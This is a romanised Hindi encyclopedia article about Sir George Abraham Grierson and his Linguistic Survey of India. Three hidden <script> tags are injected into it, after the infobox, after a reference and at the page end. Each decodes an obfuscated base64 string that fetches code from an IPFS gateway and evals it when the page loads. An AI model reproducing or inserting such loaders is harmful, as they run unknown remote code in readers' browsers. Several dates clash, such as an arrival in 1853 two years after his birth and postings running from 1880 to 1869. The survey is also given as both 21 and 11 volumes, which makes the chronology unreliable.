जार्ज अब्राहम ग्रियर्सन

jarj abraham griyarsan
sar jarj abraham griyarsan|200px|center
poora nam	sar jarj abraham griyarsan
janm	7 janavari, 1851
janm bhoomi	dablin, ayaralaiand
mrityu	9 march, 1941
karm bhoomi	bharat
karm-kshetr	itihasakar, aangrezi sahityakar, anveshak
bhasha	aangrezi
puraskar-upadhi	griyarsan ko sarakar ki or se 1894 mean si.aee.ee. aur 1912 mean 'sar' ki upadhi di gee.
prasiddhi	griyarsan ki khyati ka pradhan stanbh liangvistik sarve aauf iandiya hai.
vishesh yogadan	buddh aur ashok ki dharmalipi ke bad griyarsan krit sarve 'liangvistik sarve aauf iandiya' hi ek aisa pahala granth hai jisamean dainik jivan mean boli janevali bhashaoan aur boliyoan ka digdarshan prapt hota hai.
any janakari	griyarsan ko hindi se atishay prem tha. isilie inhoanne 33 varsh tak paryapt parishram kar asankhy vyaktiyoan se patrachar evan sampark sthapit karake bharatiy bhashaoan evan boliyoan ke vishay mean bharasak pramanik aank de aur vivaran ekatr kiye. ramacharitamanas ko griyarsan ne 'karo doan logoan ki baibil' kaha hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sar jarj abraham griyarsan (aangrezi: Sir George Abraham Grierson, janm: 7 janavari, 1851; mrityu: 9 march, 1941) ka bharatiy vidyavisharadoan mean, visheshat: bhashavijnan ke kshetr mean evan liangvistik sarve aauf iandiya ke praneta ke roop mean amar sthan hai. graus aur bims ki bhaanti ve bhi 'iandiyan sivil sarvis' ke karmachari the. unaka janm dablin ke nikat 7 janavari, 1851 ko hua tha. unake pita ayaralaiand mean 'kvians priantar' the. 1868 se dablin mean hi unhoanne sanskrit aur hiandustani ka adhyayan praranbh kar diya tha. biz (Bee's) skool shyoozabari, trinati k aaulej, dablin aur kaianbrij tatha hale (Halle) jarmani mean shiksha grahan kar 1853 mean ve 'iandiyan sivil sarvis' ke karmachari ke roop mean bangal ae aur praranbh se hi bharatiy ary tatha any bharatiy bhashaoan ke adhyayan ki or ruchi prakat ki. 1880 mean 'ianspektar aauph skools', bihar aur 1869 tak patana ke 'aidishanal kamishnar aur aupiyam ezeant', bihar ke roop mean unhoanne kary kiya. sarakari kamoan se chhutti pane ke bad ve apana atirikt samay sanskrit, prakrit, purani hiandi, bihari aur bangala bhashaoan aur sahityoan ke adhyayan mean lagate the. jahaan bhi unaki niyukti hoti thi vahian ki bhasha, boli, sahity aur lokajivan ki or unaka dhyan akrisht hota tha. griyarsan ne ramacharitamanas ko 'karo doan logoan ki baibil' kaha hai.

mahattvapoorn khoj kary

1873 aur 1869 ke karyakal mean griyarsan ne apane mahattvapoorn khoj kary kie. uttari bangal ke lokagit, kavita aur rangapur ki bangala boli jarnal aauph di eshiyatik sosayati aauph bangal raja gopichand ki katha maithili gramar seven gramars aauph di dayalekts aauph di bihari laiangvej iantrodakshan tu di maithili laiangvej; e haiand buk tu di kaithi kairektar, bihar pejeant laiph, biig deskriptiv kaitelag aauph di sarauandiangj aauph di varnakyulars, jarnal aauph di jarman orieantal sosaiti, kashmiri vyakaran aur kosh, kashmiri mainuel, padmavati ka sanpadan mahamahopadhyay sudhakar dvivedi ki sahakarita mean, bihari krit satasee ka sanpadan, nots aaun tulasidas, di madarn varnakyular litarechar aauph hiandustan adi unaki kuchh mahattvapoorn rachanaean haian.

sarvekshan kary praranbh

• griyarsan ki khyati ka pradhan stanbh liangvistik sarve aauph iandiya hi hai. 1885 mean prachy vidyavisharadoan ki aantarrashtriy kaangres ne 'viena adhiveshan' mean bharatavarsh ke bhasha sarvekshan ki avashyakata ka anubhav karate hue bharatiy sarakar ka dhyan is or akrisht kiya. phalat: bharatiy sarakar ne 1888 mean griyarsan ki adhyakshata mean sarvekshan kary praranbh kiya.
• 1888 se 1903 tak unhoanne is kary ke liye samagri sankalit ki.
• 1902 mean naukari se avakash grahan karane ke pashchath 1903 mean jab unhoanne bharat chho da sarve ke vibhinn khand kramash: prakashit hone lage.
• griyarsan ke sarve 21 jildoan mean hai aur usamean bharat ki 179 bhashaoan aur 544 boliyoan ka savistar sarvekshan hai. sath hi bhashavijnan aur vyakaran sanbandhi samagri se bhi vah poorn hai.
• griyarsan krit sarve apane dhang ka ek vishisht granth hai. usamean hamean bharatavarsh ka bhasha sanbandhi manachitr milata hai aur usaka atyadhik saanskritik mahatv hai. dainik jivan mean vyavahrit bhashaoan aur boliyoan ka itana sookshm adhyayan pahale kabhi nahian hua tha. buddh aur ashok ki dharmalipi ke bad griyarsan krit sarve hi ek aisa pahala granth hai jisamean dainik jivan mean boli janevali bhashaoan aur boliyoan ka digdarshan prapt hota hai.

'sar' ki upadhi

griyarsan ko sarakar ki or se 1894 mean si.aee.ee. aur 1912 mean 'sar' ki upadhi di gee. avakash grahan karane ke pashchath ye kaianbale mean rahate the. adhunik bharatiy bhashaoan ke adhyayan kshetr mean sabhi vidvanh unaka bhar svikar karate the. 1876 se hi ve bangal ki r aauyal eshiyatik sosaiti ke sadasy the. unaki rachanaean pradhanat: sosayati ke jarnal mean hi prakashit hueean. 1893 mean ve mantri ke roop mean sosaiti ki kauansil ke sadasy aur 1904 mean aaunareri phelo manonit hue. 1894 mean unhoanne hale se pi.ech.di. aur 1902 mean triniti k aaulej, dablin se di.lith. ki upadhiyaan prapt kian. ve r aauyal eshiyatik sosayati ke bhi sadasy the.

nidhan

griyarsan ki mrityu 1941 mean huee.

upalabdhiyaan

griyarsan ko bharatiy sanskriti aur yahaan ke nivasiyoan ke prati agadh prem tha. bharatiy bhashavijnan ke ve mahanh unnayak the. navy bharatiy aryabhashaoan ke adhyayan ki drishti se unhean bims, bhandarakar aur harnali ke samakaksh rakha ja sakata hai. ek sahriday vyakti ke roop mean bhi ve bharatavasiyoan ki shraddha ke patr bane. unake dvara prapt mahattvapoorn upalabdhiyaan is prakar haian -

• jarj abraham griyarsan sanh 1868 mean rabart etakiansan se sanskrit varnamala ka jnan prapt kiya.
• inhoanne bharat ki pauranik gathaoan mean itihas ka darshan kiya aur graminoan ki kahavatoan mean jnan prapt kiya. ye ved, darshan aur sanskrit se bhi bahut prabhavit the. inake sahayakoan mean gaurikaant, stenakonoan, ee. ech. hal adi rahe haian. ek bhasha - vaijnanik evan itihasakar ke roop mean ye prasiddh haian.
• inhoanne bihar mean kam karana prarambh kiya tha. vahian inhoanne bihari bhashaoan ka adhyayan kiya aur 'bihari bhashaoan ke sat vyakaran 1883 se 1887 ee. tak prakashit kiye.

chitr:Blockquote-open.gif isaka vivaranatmak bhag do hissoan mean vibhakt hai. pahale ka shirshak 'bhoomika' hai aur isamean un sabhi poorv prayatnoan ka vivaran prastut hai, jo bharat ki bhashaoan ke adhyayan ke sambandh mean kiye gaye the. doosare bhag mean sarvekshan ke parinamoan tatha un prapt shikshaoan par drishtipat karane ka prayatn kiya gaya hai. in do khandoan ke atirikt is sarvekshan mean do any sangrah bhi hai jinamean samast sarvekshan ke lie brihat yog evan laghu yog tatha shodhaniy samagri hai. aant mean tin parishisht bhi jo de gaye hai. inamean bharat ki sabhi bhashaoan ki vargikrit soochi, un bhashaoan ki soochi, jinake gramophon rekard is desh mean tatha peris mean upalabdh haian tatha sabhi bharatiy bhashaoan ke nam haian. isamean vibhinn bhashaoan ke namoone bhi haian chitr:Blockquote-close.gif - griyarsan

• griyarsan ko hindi se atishay prem tha. isilie inhoanne 33 varsh tak paryapt parishram kar asankhy vyaktiyoan se patrachar evan sampark sthapit karake bharatiy bhashaoan evan boliyoan ke vishay mean bharasak pramanik aank de aur vivaran ekatr kiye. bhashaoan aur boliyoan ke sambandh mean khoj tatha chhanabin ka itana vishal evan vistrit prayatn kisi bhi desh mean nahian kiya gaya. aangrezi mean yah 11 jildoan mean prakashit hua tha.
• griyarsan ke hi shabdoan mean "isaka vivaranatmak bhag do hissoan mean vibhakt hai. pahale ka shirshak 'bhoomika' hai aur isamean un sabhi poorv prayatnoan ka vivaran prastut hai, jo bharat ki bhashaoan ke adhyayan ke sambandh mean kiye gaye the. doosare bhag mean sarvekshan ke parinamoan tatha un prapt shikshaoan par drishtipat karane ka prayatn kiya gaya hai. in do khandoan ke atirikt is sarvekshan mean do any sangrah bhi hai jinamean samast sarvekshan ke lie brihat yog evan laghu yog tatha shodhaniy samagri hai. aant mean tin parishisht bhi jo de gaye hai. inamean bharat ki sabhi bhashaoan ki vargikrit soochi, un bhashaoan ki soochi, jinake gramophon rekard is desh mean tatha peris mean upalabdh haian tatha sabhi bharatiy bhashaoan ke nam haian. isamean vibhinn bhashaoan ke namoone bhi haian."
• bhasha- sarvekshan namak yah granth sahity, bhasha tatha usake itihas ke lie ek anupam sandarbh granth hai. ve ise 1894 se prarambh kar 1927 ee. mean samapt kar sake. isi se usaki vishalata ka andaja lagega.
• isake atirikt inaki ek pustak madarn varnakyular litarechar aauf nadarn hindustan bhi hai, jisaka prakashan sanh 1889 ee. mean hua. *1906 ee. mean pishach bhasha tatha 1911 mean kashmiri par bhi inake pramanik granth nikale. 1924 mean 4 bhagoan mean inaka kashmiri kosh prakashit hua.
• griyarsan ka bhasha sambandhi vargikaran bhale hi uchit n ho par mahattvapoorn avashy hai. unaki drishti mean hindi, hindustani ka hi ek roop hai. *hindustani ko unhoanne mool bhasha mana hai. isaki parinati ve urdoo mean manate haian.
• griyarsan ke bhasha-sarvekshan mean vibhinn boliyoan ke udaharan to hai kiantu arabi - pharasi shabdoan ki sankhya nagany hai. ve theth hindustani ko sahityik urdoo tatha hindi ki janani manate haian. 11 jildoan mean sabhi bharatiy bhashaoan evan boliyoan ka udaharan evan unaka vyakaran de dena griyarsan ke amaratv ke lie paryapt hai.
• griyarsan ki suvistrit bhoomika unake shreshth pandity ka utkrisht praman hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 165.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

griyarsan, jarj abraham (hiandi). . abhigaman tithi: 5 aktoobar, 2011.

bahari k diyaan

• jarj abraham griyarsan
• mahavir saran jain ka alekh: videshi vidvanoan dvara hiandi ka adhyayan
• George Abraham Grierson – linguist

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>